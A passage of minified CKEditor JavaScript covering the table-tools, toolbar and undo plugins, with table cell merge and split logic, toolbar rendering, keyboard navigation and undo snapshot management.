(d=e.getParent(),1==d.getChildCount()?d.remove():e.remove())}function m(e,d){var b=e.getDocument(),c=CKEDITOR.document;CKEDITOR.env.ie&&10==CKEDITOR.env.version&&(c.focus(),b.focus());b=new CKEDITOR.dom.range(b);if(!b["moveToElementEdit"+(d?"End":"Start")](e))b.selectNodeContents(e),b.collapse(d?!1:!0);b.select(!0)}function v(e,d,b){e=e[d];if("undefined"==typeof b)return e;for(d=0;e&&d<e.length;d++){if(b.is&&e[d]==b.$)return d;if(d==b)return new CKEDITOR.dom.element(e[d])}return b.is?-1:null}function s(e,
d,b){var c=p(e),a;if((d?1!=c.length:2>c.length)||(a=e.getCommonAncestor())&&a.type==CKEDITOR.NODE_ELEMENT&&a.is("table"))return!1;var f,e=c[0];a=e.getAscendant("table");var g=CKEDITOR.tools.buildTableMap(a),h=g.length,i=g[0].length,j=e.getParent().$.rowIndex,l=v(g,j,e);if(d){var n;try{var m=parseInt(e.getAttribute("rowspan"),10)||1;f=parseInt(e.getAttribute("colspan"),10)||1;n=g["up"==d?j-m:"down"==d?j+m:j]["left"==d?l-f:"right"==d?l+f:l]}catch(z){return!1}if(!n||e.$==n)return!1;c["up"==d||"left"==
d?"unshift":"push"](new CKEDITOR.dom.element(n))}for(var d=e.getDocument(),o=j,m=n=0,q=!b&&new CKEDITOR.dom.documentFragment(d),s=0,d=0;d<c.length;d++){f=c[d];var k=f.getParent(),t=f.getFirst(),r=f.$.colSpan,u=f.$.rowSpan,k=k.$.rowIndex,w=v(g,k,f),s=s+r*u,m=Math.max(m,w-l+r);n=Math.max(n,k-j+u);if(!b){r=f;(u=r.getBogus())&&u.remove();r.trim();if(f.getChildren().count()){if(k!=o&&t&&(!t.isBlockBoundary||!t.isBlockBoundary({br:1})))(o=q.getLast(CKEDITOR.dom.walker.whitespaces(!0)))&&(!o.is||!o.is("br"))&&
q.append("br");f.moveChildren(q)}d?f.remove():f.setHtml("")}o=k}if(b)return n*m==s;q.moveChildren(e);e.appendBogus();m>=i?e.removeAttribute("rowSpan"):e.$.rowSpan=n;n>=h?e.removeAttribute("colSpan"):e.$.colSpan=m;b=new CKEDITOR.dom.nodeList(a.$.rows);c=b.count();for(d=c-1;0<=d;d--)a=b.getItem(d),a.$.cells.length||(a.remove(),c++);return e}function w(e,d){var b=p(e);if(1<b.length)return!1;if(d)return!0;var b=b[0],c=b.getParent(),a=c.getAscendant("table"),f=CKEDITOR.tools.buildTableMap(a),g=c.$.rowIndex,
h=v(f,g,b),i=b.$.rowSpan,j;if(1<i){j=Math.ceil(i/2);for(var i=Math.floor(i/2),c=g+j,a=new CKEDITOR.dom.element(a.$.rows[c]),f=v(f,c),l,c=b.clone(),g=0;g<f.length;g++)if(l=f[g],l.parentNode==a.$&&g>h){c.insertBefore(new CKEDITOR.dom.element(l));break}else l=null;l||a.append(c)}else{i=j=1;a=c.clone();a.insertAfter(c);a.append(c=b.clone());l=v(f,g);for(h=0;h<l.length;h++)l[h].rowSpan++}c.appendBogus();b.$.rowSpan=j;c.$.rowSpan=i;1==j&&b.removeAttribute("rowSpan");1==i&&c.removeAttribute("rowSpan");return c}
function x(e,d){var b=p(e);if(1<b.length)return!1;if(d)return!0;var b=b[0],c=b.getParent(),a=c.getAscendant("table"),a=CKEDITOR.tools.buildTableMap(a),f=v(a,c.$.rowIndex,b),g=b.$.colSpan;if(1<g)c=Math.ceil(g/2),g=Math.floor(g/2);else{for(var g=c=1,h=[],i=0;i<a.length;i++){var j=a[i];h.push(j[f]);1<j[f].rowSpan&&(i+=j[f].rowSpan-1)}for(a=0;a<h.length;a++)h[a].colSpan++}a=b.clone();a.insertAfter(b);a.appendBogus();b.$.colSpan=c;a.$.colSpan=g;1==c&&b.removeAttribute("colSpan");1==g&&a.removeAttribute("colSpan");
return a}var y=/^(?:td|th)$/;CKEDITOR.plugins.tabletools={requires:"table,dialog,contextmenu",init:function(e){function d(a){return CKEDITOR.tools.extend(a||{},{contextSensitive:1,refresh:function(a,b){this.setState(b.contains({td:1,th:1},1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}function b(a,b){var c=e.addCommand(a,b);e.addFeature(c)}var c=e.lang.table;b("cellProperties",new CKEDITOR.dialogCommand("cellProperties",d({allowedContent:"td th{width,height,border-color,background-color,white-space,vertical-align,text-align}[colspan,rowspan]",
requiredContent:"table"})));CKEDITOR.dialog.add("cellProperties",this.path+"dialogs/tableCell.js");b("rowDelete",d({requiredContent:"table",exec:function(a){a=a.getSelection();m(q(a))}}));b("rowInsertBefore",d({requiredContent:"table",exec:function(a){a=a.getSelection();o(a,!0)}}));b("rowInsertAfter",d({requiredContent:"table",exec:function(a){a=a.getSelection();o(a)}}));b("columnDelete",d({requiredContent:"table",exec:function(a){for(var a=a.getSelection(),a=p(a),b=a[0],c=a[a.length-1],a=b.getAscendant("table"),
d=CKEDITOR.tools.buildTableMap(a),e,j,l=[],n=0,o=d.length;n<o;n++)for(var k=0,q=d[n].length;k<q;k++)d[n][k]==b.$&&(e=k),d[n][k]==c.$&&(j=k);for(n=e;n<=j;n++)for(k=0;k<d.length;k++)c=d[k],b=new CKEDITOR.dom.element(a.$.rows[k]),c=new CKEDITOR.dom.element(c[n]),c.$&&(1==c.$.colSpan?c.remove():c.$.colSpan-=1,k+=c.$.rowSpan-1,b.$.cells.length||l.push(b));j=a.$.rows[0]&&a.$.rows[0].cells;e=new CKEDITOR.dom.element(j[e]||(e?j[e-1]:a.$.parentNode));l.length==o&&a.remove();e&&m(e,!0)}}));b("columnInsertBefore",
d({requiredContent:"table",exec:function(a){a=a.getSelection();k(a,!0)}}));b("columnInsertAfter",d({requiredContent:"table",exec:function(a){a=a.getSelection();k(a)}}));b("cellDelete",d({requiredContent:"table",exec:function(a){a=a.getSelection();t(a)}}));b("cellMerge",d({allowedContent:"td[colspan,rowspan]",requiredContent:"td[colspan,rowspan]",exec:function(a){m(s(a.getSelection()),!0)}}));b("cellMergeRight",d({allowedContent:"td[colspan]",requiredContent:"td[colspan]",exec:function(a){m(s(a.getSelection(),
"right"),!0)}}));b("cellMergeDown",d({allowedContent:"td[rowspan]",requiredContent:"td[rowspan]",exec:function(a){m(s(a.getSelection(),"down"),!0)}}));b("cellVerticalSplit",d({allowedContent:"td[rowspan]",requiredContent:"td[rowspan]",exec:function(a){m(w(a.getSelection()))}}));b("cellHorizontalSplit",d({allowedContent:"td[colspan]",requiredContent:"td[colspan]",exec:function(a){m(x(a.getSelection()))}}));b("cellInsertBefore",d({requiredContent:"table",exec:function(a){a=a.getSelection();u(a,!0)}}));
b("cellInsertAfter",d({requiredContent:"table",exec:function(a){a=a.getSelection();u(a)}}));e.addMenuItems&&e.addMenuItems({tablecell:{label:c.cell.menu,group:"tablecell",order:1,getItems:function(){var a=e.getSelection(),b=p(a);return{tablecell_insertBefore:CKEDITOR.TRISTATE_OFF,tablecell_insertAfter:CKEDITOR.TRISTATE_OFF,tablecell_delete:CKEDITOR.TRISTATE_OFF,tablecell_merge:s(a,null,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_merge_right:s(a,"right",!0)?CKEDITOR.TRISTATE_OFF:
CKEDITOR.TRISTATE_DISABLED,tablecell_merge_down:s(a,"down",!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_vertical:w(a,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_horizontal:x(a,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_properties:0<b.length?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED}}},tablecell_insertBefore:{label:c.cell.insertBefore,group:"tablecell",command:"cellInsertBefore",order:5},tablecell_insertAfter:{label:c.cell.insertAfter,
group:"tablecell",command:"cellInsertAfter",order:10},tablecell_delete:{label:c.cell.deleteCell,group:"tablecell",command:"cellDelete",order:15},tablecell_merge:{label:c.cell.merge,group:"tablecell",command:"cellMerge",order:16},tablecell_merge_right:{label:c.cell.mergeRight,group:"tablecell",command:"cellMergeRight",order:17},tablecell_merge_down:{label:c.cell.mergeDown,group:"tablecell",command:"cellMergeDown",order:18},tablecell_split_horizontal:{label:c.cell.splitHorizontal,group:"tablecell",
command:"cellHorizontalSplit",order:19},tablecell_split_vertical:{label:c.cell.splitVertical,group:"tablecell",command:"cellVerticalSplit",order:20},tablecell_properties:{label:c.cell.title,group:"tablecellproperties",command:"cellProperties",order:21},tablerow:{label:c.row.menu,group:"tablerow",order:1,getItems:function(){return{tablerow_insertBefore:CKEDITOR.TRISTATE_OFF,tablerow_insertAfter:CKEDITOR.TRISTATE_OFF,tablerow_delete:CKEDITOR.TRISTATE_OFF}}},tablerow_insertBefore:{label:c.row.insertBefore,
group:"tablerow",command:"rowInsertBefore",order:5},tablerow_insertAfter:{label:c.row.insertAfter,group:"tablerow",command:"rowInsertAfter",order:10},tablerow_delete:{label:c.row.deleteRow,group:"tablerow",command:"rowDelete",order:15},tablecolumn:{label:c.column.menu,group:"tablecolumn",order:1,getItems:function(){return{tablecolumn_insertBefore:CKEDITOR.TRISTATE_OFF,tablecolumn_insertAfter:CKEDITOR.TRISTATE_OFF,tablecolumn_delete:CKEDITOR.TRISTATE_OFF}}},tablecolumn_insertBefore:{label:c.column.insertBefore,
group:"tablecolumn",command:"columnInsertBefore",order:5},tablecolumn_insertAfter:{label:c.column.insertAfter,group:"tablecolumn",command:"columnInsertAfter",order:10},tablecolumn_delete:{label:c.column.deleteColumn,group:"tablecolumn",command:"columnDelete",order:15}});e.contextMenu&&e.contextMenu.addListener(function(a,b,c){return(a=c.contains({td:1,th:1},1))&&!a.isReadOnly()?{tablecell:CKEDITOR.TRISTATE_OFF,tablerow:CKEDITOR.TRISTATE_OFF,tablecolumn:CKEDITOR.TRISTATE_OFF}:null})},getSelectedCells:p};
CKEDITOR.plugins.add("tabletools",CKEDITOR.plugins.tabletools)})();CKEDITOR.tools.buildTableMap=function(p){for(var p=p.$.rows,o=-1,q=[],r=0;r<p.length;r++){o++;!q[o]&&(q[o]=[]);for(var k=-1,u=0;u<p[r].cells.length;u++){var t=p[r].cells[u];for(k++;q[o][k];)k++;for(var m=isNaN(t.colSpan)?1:t.colSpan,t=isNaN(t.rowSpan)?1:t.rowSpan,v=0;v<t;v++){q[o+v]||(q[o+v]=[]);for(var s=0;s<m;s++)q[o+v][k+s]=p[r].cells[u]}k+=m-1}}return q};(function(){function w(a){function d(){for(var b=g(),e=CKEDITOR.tools.clone(a.config.toolbarGroups)||n(a),f=0;f<e.length;f++){var k=e[f];if("/"!=k){"string"==typeof k&&(k=e[f]={name:k});var i,d=k.groups;if(d)for(var h=0;h<d.length;h++)i=d[h],(i=b[i])&&c(k,i);(i=b[k.name])&&c(k,i)}}return e}function g(){var b={},c,f,e;for(c in a.ui.items)f=a.ui.items[c],e=f.toolbar||"others",e=e.split(","),f=e[0],e=parseInt(e[1]||-1,10),b[f]||(b[f]=[]),b[f].push({name:c,order:e});for(f in b)b[f]=b[f].sort(function(b,
a){return b.order==a.order?0:0>a.order?-1:0>b.order?1:b.order<a.order?-1:1});return b}function c(c,e){if(e.length){c.items?c.items.push(a.ui.create("-")):c.items=[];for(var f;f=e.shift();)if(f="string"==typeof f?f:f.name,!b||-1==CKEDITOR.tools.indexOf(b,f))(f=a.ui.create(f))&&a.addFeature(f)&&c.items.push(f)}}function h(b){var a=[],e,d,h;for(e=0;e<b.length;++e)d=b[e],h={},"/"==d?a.push(d):CKEDITOR.tools.isArray(d)?(c(h,CKEDITOR.tools.clone(d)),a.push(h)):d.items&&(c(h,CKEDITOR.tools.clone(d.items)),
h.name=d.name,a.push(h));return a}var b=a.config.removeButtons,b=b&&b.split(","),e=a.config.toolbar;"string"==typeof e&&(e=a.config["toolbar_"+e]);return a.toolbar=e?h(e):d()}function n(a){return a._.toolbarGroups||(a._.toolbarGroups=[{name:"document",groups:["mode","document","doctools"]},{name:"clipboard",groups:["clipboard","undo"]},{name:"editing",groups:["find","selection","spellchecker"]},{name:"forms"},"/",{name:"basicstyles",groups:["basicstyles","cleanup"]},{name:"paragraph",groups:["list",
"indent","blocks","align","bidi"]},{name:"links"},{name:"insert"},"/",{name:"styles"},{name:"colors"},{name:"tools"},{name:"others"},{name:"about"}])}var u=function(){this.toolbars=[];this.focusCommandExecuted=!1};u.prototype.focus=function(){for(var a=0,d;d=this.toolbars[a++];)for(var g=0,c;c=d.items[g++];)if(c.focus){c.focus();return}};var x={modes:{wysiwyg:1,source:1},readOnly:1,exec:function(a){a.toolbox&&(a.toolbox.focusCommandExecuted=!0,CKEDITOR.env.ie||CKEDITOR.env.air?setTimeout(function(){a.toolbox.focus()},
100):a.toolbox.focus())}};CKEDITOR.plugins.add("toolbar",{requires:"button",init:function(a){var d,g=function(c,h){var b,e="rtl"==a.lang.dir,j=a.config.toolbarGroupCycling,o=e?37:39,e=e?39:37,j=void 0===j||j;switch(h){case 9:case CKEDITOR.SHIFT+9:for(;!b||!b.items.length;)if(b=9==h?(b?b.next:c.toolbar.next)||a.toolbox.toolbars[0]:(b?b.previous:c.toolbar.previous)||a.toolbox.toolbars[a.toolbox.toolbars.length-1],b.items.length)for(c=b.items[d?b.items.length-1:0];c&&!c.focus;)(c=d?c.previous:c.next)||
(b=0);c&&c.focus();return!1;case o:b=c;do b=b.next,!b&&j&&(b=c.toolbar.items[0]);while(b&&!b.focus);b?b.focus():g(c,9);return!1;case 40:return c.button&&c.button.hasArrow?(a.once("panelShow",function(b){b.data._.panel._.currentBlock.onKeyDown(40)}),c.execute()):g(c,40==h?o:e),!1;case e:case 38:b=c;do b=b.previous,!b&&j&&(b=c.toolbar.items[c.toolbar.items.length-1]);while(b&&!b.focus);b?b.focus():(d=1,g(c,CKEDITOR.SHIFT+9),d=0);return!1;case 27:return a.focus(),!1;case 13:case 32:return c.execute(),
!1}return!0};a.on("uiSpace",function(c){if(c.data.space==a.config.toolbarLocation){c.removeListener();a.toolbox=new u;var d=CKEDITOR.tools.getNextId(),b=['<span id="',d,'" class="cke_voice_label">',a.lang.toolbar.toolbars,"</span>",'<span id="'+a.ui.spaceId("toolbox")+'" class="cke_toolbox" role="group" aria-labelledby="',d,'" onmousedown="return false;">'],d=!1!==a.config.toolbarStartupExpanded,e,j;a.config.toolbarCanCollapse&&a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE&&b.push('<span class="cke_toolbox_main"'+
(d?">":' style="display:none">'));for(var o=a.toolbox.toolbars,f=w(a),k=0;k<f.length;k++){var i,l=0,r,m=f[k],s;if(m)if(e&&(b.push("</span>"),j=e=0),"/"===m)b.push('<span class="cke_toolbar_break"></span>');else{s=m.items||m;for(var t=0;t<s.length;t++){var p=s[t],n;if(p)if(p.type==CKEDITOR.UI_SEPARATOR)j=e&&p;else{n=!1!==p.canGroup;if(!l){i=CKEDITOR.tools.getNextId();l={id:i,items:[]};r=m.name&&(a.lang.toolbar.toolbarGroups[m.name]||m.name);b.push('<span id="',i,'" class="cke_toolbar"',r?' aria-labelledby="'+
i+'_label"':"",' role="toolbar">');r&&b.push('<span id="',i,'_label" class="cke_voice_label">',r,"</span>");b.push('<span class="cke_toolbar_start"></span>');var q=o.push(l)-1;0<q&&(l.previous=o[q-1],l.previous.next=l)}n?e||(b.push('<span class="cke_toolgroup" role="presentation">'),e=1):e&&(b.push("</span>"),e=0);i=function(c){c=c.render(a,b);q=l.items.push(c)-1;if(q>0){c.previous=l.items[q-1];c.previous.next=c}c.toolbar=l;c.onkey=g;c.onfocus=function(){a.toolbox.focusCommandExecuted||a.focus()}};
j&&(i(j),j=0);i(p)}}e&&(b.push("</span>"),j=e=0);l&&b.push('<span class="cke_toolbar_end"></span></span>')}}a.config.toolbarCanCollapse&&b.push("</span>");if(a.config.toolbarCanCollapse&&a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var v=CKEDITOR.tools.addFunction(function(){a.execCommand("toolbarCollapse")});a.on("destroy",function(){CKEDITOR.tools.removeFunction(v)});a.addCommand("toolbarCollapse",{readOnly:1,exec:function(b){var a=b.ui.space("toolbar_collapser"),c=a.getPrevious(),e=b.ui.space("contents"),
d=c.getParent(),f=parseInt(e.$.style.height,10),h=d.$.offsetHeight,g=a.hasClass("cke_toolbox_collapser_min");g?(c.show(),a.removeClass("cke_toolbox_collapser_min"),a.setAttribute("title",b.lang.toolbar.toolbarCollapse)):(c.hide(),a.addClass("cke_toolbox_collapser_min"),a.setAttribute("title",b.lang.toolbar.toolbarExpand));a.getFirst().setText(g?"▲":"◀");e.setStyle("height",f-(d.$.offsetHeight-h)+"px");b.fire("resize")},modes:{wysiwyg:1,source:1}});a.setKeystroke(CKEDITOR.ALT+(CKEDITOR.env.ie||CKEDITOR.env.webkit?
189:109),"toolbarCollapse");b.push('<a title="'+(d?a.lang.toolbar.toolbarCollapse:a.lang.toolbar.toolbarExpand)+'" id="'+a.ui.spaceId("toolbar_collapser")+'" tabIndex="-1" class="cke_toolbox_collapser');d||b.push(" cke_toolbox_collapser_min");b.push('" onclick="CKEDITOR.tools.callFunction('+v+')">','<span class="cke_arrow">&#9650;</span>',"</a>")}b.push("</span>");c.data.html+=b.join("")}});a.on("destroy",function(){if(this.toolbox){var a,d=0,b,e,g;for(a=this.toolbox.toolbars;d<a.length;d++){e=a[d].items;
for(b=0;b<e.length;b++)g=e[b],g.clickFn&&CKEDITOR.tools.removeFunction(g.clickFn),g.keyDownFn&&CKEDITOR.tools.removeFunction(g.keyDownFn)}}});a.on("uiReady",function(){var c=a.ui.space("toolbox");c&&a.focusManager.add(c,1)});a.addCommand("toolbarFocus",x);a.setKeystroke(CKEDITOR.ALT+121,"toolbarFocus");a.ui.add("-",CKEDITOR.UI_SEPARATOR,{});a.ui.addHandler(CKEDITOR.UI_SEPARATOR,{create:function(){return{render:function(a,d){d.push('<span class="cke_toolbar_separator" role="separator"></span>');return{}}}}})}});
CKEDITOR.ui.prototype.addToolbarGroup=function(a,d,g){var c=n(this.editor),h=0===d,b={name:a};if(g){if(g=CKEDITOR.tools.search(c,function(a){return a.name==g})){!g.groups&&(g.groups=[]);if(d&&(d=CKEDITOR.tools.indexOf(g.groups,d),0<=d)){g.groups.splice(d+1,0,a);return}h?g.groups.splice(0,0,a):g.groups.push(a);return}d=null}d&&(d=CKEDITOR.tools.indexOf(c,function(a){return a.name==d}));h?c.splice(0,0,a):"number"==typeof d?c.splice(d+1,0,b):c.push(a)}})();CKEDITOR.UI_SEPARATOR="separator";
CKEDITOR.config.toolbarLocation="top";(function(){var g=[CKEDITOR.CTRL+90,CKEDITOR.CTRL+89,CKEDITOR.CTRL+CKEDITOR.SHIFT+90],l={8:1,46:1};CKEDITOR.plugins.add("undo",{init:function(a){function b(a){d.enabled&&!1!==a.data.command.canUndo&&d.save()}function c(){d.enabled=a.readOnly?!1:"wysiwyg"==a.mode;d.onChange()}var d=a.undoManager=new e(a),j=d.editingHandler=new i(d),f=a.addCommand("undo",{exec:function(){d.undo()&&(a.selectionChange(),this.fire("afterUndo"))},startDisabled:!0,canUndo:!1}),h=a.addCommand("redo",{exec:function(){d.redo()&&
(a.selectionChange(),this.fire("afterRedo"))},startDisabled:!0,canUndo:!1});a.setKeystroke([[g[0],"undo"],[g[1],"redo"],[g[2],"redo"]]);d.onChange=function(){f.setState(d.undoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);h.setState(d.redoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)};a.on("beforeCommandExec",b);a.on("afterCommandExec",b);a.on("saveSnapshot",function(a){d.save(a.data&&a.data.contentOnly)});a.on("contentDom",j.attachListeners,j);a.on("instanceReady",function(){a.fire("saveSnapshot")});
a.on("beforeModeUnload",function(){"wysiwyg"==a.mode&&d.save(!0)});a.on("mode",c);a.on("readOnly",c);a.ui.addButton&&(a.ui.addButton("Undo",{label:a.lang.undo.undo,command:"undo",toolbar:"undo,10"}),a.ui.addButton("Redo",{label:a.lang.undo.redo,command:"redo",toolbar:"undo,20"}));a.resetUndo=function(){d.reset();a.fire("saveSnapshot")};a.on("updateSnapshot",function(){d.currentImage&&d.update()});a.on("lockSnapshot",function(a){a=a.data;d.lock(a&&a.dontUpdate,a&&a.forceUpdate)});a.on("unlockSnapshot",
d.unlock,d)}});CKEDITOR.plugins.undo={};var e=CKEDITOR.plugins.undo.UndoManager=function(a){this.strokesRecorded=[0,0];this.locked=null;this.previousKeyGroup=-1;this.limit=a.config.undoStackSize||20;this.strokesLimit=25;this.editor=a;this.reset()};e.prototype={type:function(a,b){var c=e.getKeyGroup(a),d=this.strokesRecorded[c]+1,b=b||d>=this.strokesLimit;this.typing||(this.hasUndo=this.typing=!0,this.hasRedo=!1,this.onChange());b?(d=0,this.editor.fire("saveSnapshot")):this.editor.fire("change");this.strokesRecorded[c]=
d;this.previousKeyGroup=c},keyGroupChanged:function(a){return e.getKeyGroup(a)!=this.previousKeyGroup},reset:function(){this.snapshots=[];this.index=-1;this.currentImage=null;this.hasRedo=this.hasUndo=!1;this.locked=null;this.resetType()},resetType:function(){this.strokesRecorded=[0,0];this.typing=!1;this.previousKeyGroup=-1},refreshState:function(){this.hasUndo=!!this.getNextImage(!0);this.hasRedo=!!this.getNextImage(!1);this.resetType();this.onChange()},save:function(a,b,c){var d=this.editor;if(this.locked||
"ready"!=d.status||"wysiwyg"!=d.mode)return!1;var e=d.editable();if(!e||"ready"!=e.status)return!1;e=this.snapshots;b||(b=new f(d));if(!1===b.contents)return!1;if(this.currentImage)if(b.equalsContent(this.currentImage)){if(a||b.equalsSelection(this.currentImage))return!1}else!1!==c&&d.fire("change");e.splice(this.index+1,e.length-this.index-1);e.length==this.limit&&e.shift();this.index=e.push(b)-1;this.currentImage=b;!1!==c&&this.refreshState();return!0},restoreImage:function(a){var b=this.editor,
c;a.bookmarks&&(b.focus(),c=b.getSelection());this.locked={level:999};this.editor.loadSnapshot(a.contents);a.bookmarks?c.selectBookmarks(a.bookmarks):CKEDITOR.env.ie&&(c=this.editor.document.getBody().$.createTextRange(),c.collapse(!0),c.select());this.locked=null;this.index=a.index;this.currentImage=this.snapshots[this.index];this.update();this.refreshState();b.fire("change")},getNextImage:function(a){var b=this.snapshots,c=this.currentImage,d;if(c)if(a)for(d=this.index-1;0<=d;d--){if(a=b[d],!c.equalsContent(a))return a.index=
d,a}else for(d=this.index+1;d<b.length;d++)if(a=b[d],!c.equalsContent(a))return a.index=d,a;return null},redoable:function(){return this.enabled&&this.hasRedo},undoable:function(){return this.enabled&&this.hasUndo},undo:function(){if(this.undoable()){this.save(!0);var a=this.getNextImage(!0);if(a)return this.restoreImage(a),!0}return!1},redo:function(){if(this.redoable()&&(this.save(!0),this.redoable())){var a=this.getNextImage(!1);if(a)return this.restoreImage(a),!0}return!1},update:function(a){if(!this.locked){a||
(a=new f(this.editor));for(var b=this.index,c=this.snapshots;0<b&&this.currentImage.equalsContent(c[b-1]);)b-=1;c.splice(b,this.index-b+1,a);this.index=b;this.currentImage=a}},updateSelection:function(a){if(!this.snapshots.length)return!1;var b=this.snapshots,c=b[b.length-1];return c.equalsContent(a)&&!c.equalsSelection(a)?(this.currentImage=b[b.length-1]=a,!0):!1},lock:function(a,b){if(this.locked)this.locked.level++;else if(a)this.locked={level:1};else{var c=null;if(b)c=!0;else{var d=new f(this.editor,
!0);this.currentImage&&this.currentImage.equalsContent(d)&&(c=d)}this.locked={update:c,level:1}}},unlock:function(){if(this.locked&&!--this.locked.level){var a=this.locked.update;this.locked=null;if(!0===a)this.update();else if(a){var b=new f(this.editor,!0);a.equalsContent(b)||this.update()}}}};e.navigationKeyCodes={37:1,38:1,39:1,40:1,36:1,35:1,33:1,34:1};e.keyGroups={PRINTABLE:0,FUNCTIONAL:1};e.isNavigationKey=function(a){return!!e.navigationKeyCodes[a]};e.getKeyGroup=function(a){var b=e.keyGroups;
return l[a]?b.FUNCTIONAL:b.PRINTABLE};e.getOppositeKeyGroup=function(a){var b=e.keyGroups;return a==b.FUNCTIONAL?b.PRINTABLE:b.FUNCTIONAL};e.ieFunctionalKeysBug=function(a){return CKEDITOR.env.ie&&e.getKeyGroup(a)==e.keyGroups.FUNCTIONAL};var f=CKEDITOR.plugins.undo.Image=function(a,b){this.editor=a;a.fire("beforeUndoImage");var c=a.getSnapshot();CKEDITOR.env.ie&&c&&(c=c.replace(/\s+data-cke-expando=".*?"/g,""));this.contents=c;b||(this.bookmarks=(c=c&&a.getSelection())&&c.createBookmarks2(!0));a.fire("afterUndoImage")},
h=/\b(?:href|src|name)="[^"]*?"/gi;f.prototype={equalsContent:function(a){var b=this.contents,a=a.contents;if(CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks))b=b.replace(h,""),a=a.replace(h,"");return b!=a?!1:!0},equalsSelection:function(a){var b=this.bookmarks,a=a.bookmarks;if(b||a){if(!b||!a||b.length!=a.length)return!1;for(var c=0;c<b.length;c++){var d=b[c],e=a[c];if(d.startOffset!=e.startOffset||d.endOffset!=e.endOffset||!CKEDITOR.tools.arrayCompare(d.start,e.start)||!CKEDITOR.tools.arrayCompare(d.end,
e.end))return!1}}return!0}};var i=CKEDITOR.plugins.undo.NativeEditingHandler=function(a){this.undoManager=a;this.ignoreInputEvent=!1;this.keyEventsStack=new k;this.lastKeydownImage=null};i.prototype={onKeydown:function(a){var b=a.data.getKey();if(229!==b)if(-1<CKEDITOR.tools.indexOf(g,a.data.getKeystroke()))a.data.preventDefault();else if(this.keyEventsStack.cleanUp(a),a=this.undoManager,this.keyEventsStack.getLast(b)||this.keyEventsStack.push(b),this.lastKeydownImage=new f(a.editor),e.isNavigationKey(b)||
this.undoManager.keyGroupChanged(b))if(a.strokesRecorded[0]||a.strokesRecorded[1])a.save(!1,this.lastKeydownImage,!1),a.resetType()},onInput:function(){if(this.ignoreInputEvent)this.ignoreInputEvent=!1;else{var a=this.keyEventsStack.getLast();a||(a=this.keyEventsStack.push(0));this.keyEventsStack.increment(a.keyCode);this.keyEventsStack.getTotalInputs()>=this.undoManager.strokesLimit&&(this.undoManager.type(a.keyCode,!0),this.keyEventsStack.resetInputs())}},onKeyup:function(a){var b=this.undoManager,
a=a.data.getKey(),c=this.keyEventsStack.getTotalInputs();this.keyEventsStack.remove(a);if(!e.ieFunctionalKeysBug(a)||!this.lastKeydownImage||!this.lastKeydownImage.equalsContent(new f(b.editor,!0)))if(0<c)b.type(a);else if(e.isNavigationKey(a))this.onNavigationKey(!0)},onNavigationKey:function(a){var b=this.undoManager;(a||!b.save(!0,null,!1))&&b.updateSelection(new f(b.editor));b.resetType()},ignoreInputEventListener:function(){this.ignoreInputEvent=!0},attachListeners:function(){var a=this.undoManager.editor,
b=a.editable(),c=this;b.attachListener(b,"keydown",function(a){c.onKeydown(a);if(e.ieFunctionalKeysBug(a.data.getKey()))c.onInput()},null,null,999);b.attachListener(b,CKEDITOR.env.ie?"keypress":"input",c.onInput,c,null,999);b.attachListener(b,"keyup",c.onKeyup,c,null,999);b.attachListener(b,"paste",c.ignoreInputEventListener,c,null,999);b.attachListener(b,"drop",c.ignoreInputEventListener,c,null,999);b.attachListener(b.isInline()?b:a.document.getDocumentElement(),"click",function(){c.onNavigationKey()},
null,null,999);b.attachListener(this.undoManager.editor,"blur",function(){c.keyEventsStack.remove(9)},null,null,999)}};var k=CKEDITOR.plugins.undo.KeyEventsStack=function(){this.stack=[]};k.prototype={push:function(a){return this.stack[this.stack.push({keyCode:a,inputs:0})-1]},getLastIndex:function(a){if("number"!=typeof a)return this.stack.length-1;for(var b=this.stack.length;b--;)if(this.stack[b].keyCode==a)return b;return-1},getLast:function(a){a=this.getLastIndex(a);return-1!=a?this.stack[a]:
null},increment:function(a){this.getLast(a).inputs++},remove:function(a){a=this.getLastIndex(a);-1!=a&&this.stack.splice(a,1)},resetInputs:function(a){if("number"==typeof a)this.getLast(a).inputs=0;else for(a=this.stack.length;a--;)this.stack[a].inputs=0},getTotalInputs:function(){for(var a=this.stack.length,b=0;a--;)b+=this.stack[a].inputs;return b},cleanUp:function(a){a=a.data.$;!a.ctrlKey&&!a.metaKey&&this.remove(17);a.shiftKey||this.remove(16);a.altKey||this.remove(18)}}})();(function(){function k(a){var e=this.editor,b=a.document,c=b.body,d=b.getElementById("cke_actscrpt");d&&d.parentNode.removeChild(d);(d=b.getElementById("cke_shimscrpt"))&&d.parentNode.removeChild(d);(d=b.getElementById("cke_basetagscrpt"))&&d.parentNode.removeChild(d);c.contentEditable=!0;CKEDITOR.env.ie&&(c.hideFocus=!0,c.disabled=!0,c.removeAttribute("disabled"));delete this._.isLoadingData;this.$=c;b=new CKEDITOR.dom.document(b);this.setup();this.fixInitialSelection();CKEDITOR.env.ie&&(b.getDocumentElement().addClass(b.$.compatMode),
e.config.enterMode!=CKEDITOR.ENTER_P&&this.attachListener(b,"selectionchange",function(){var a=b.getBody(),c=e.getSelection(),d=c&&c.getRanges()[0];d&&(a.getHtml().match(/^<p>(?:&nbsp;|<br>)<\/p>$/i)&&d.startContainer.equals(a))&&setTimeout(function(){d=e.getSelection().getRanges()[0];if(!d.startContainer.equals("body")){a.getFirst().remove(1);d.moveToElementEditEnd(a);d.select()}},0)}));if(CKEDITOR.env.webkit||CKEDITOR.env.ie&&10<CKEDITOR.env.version)b.getDocumentElement().on("mousedown",function(a){a.data.getTarget().is("html")&&
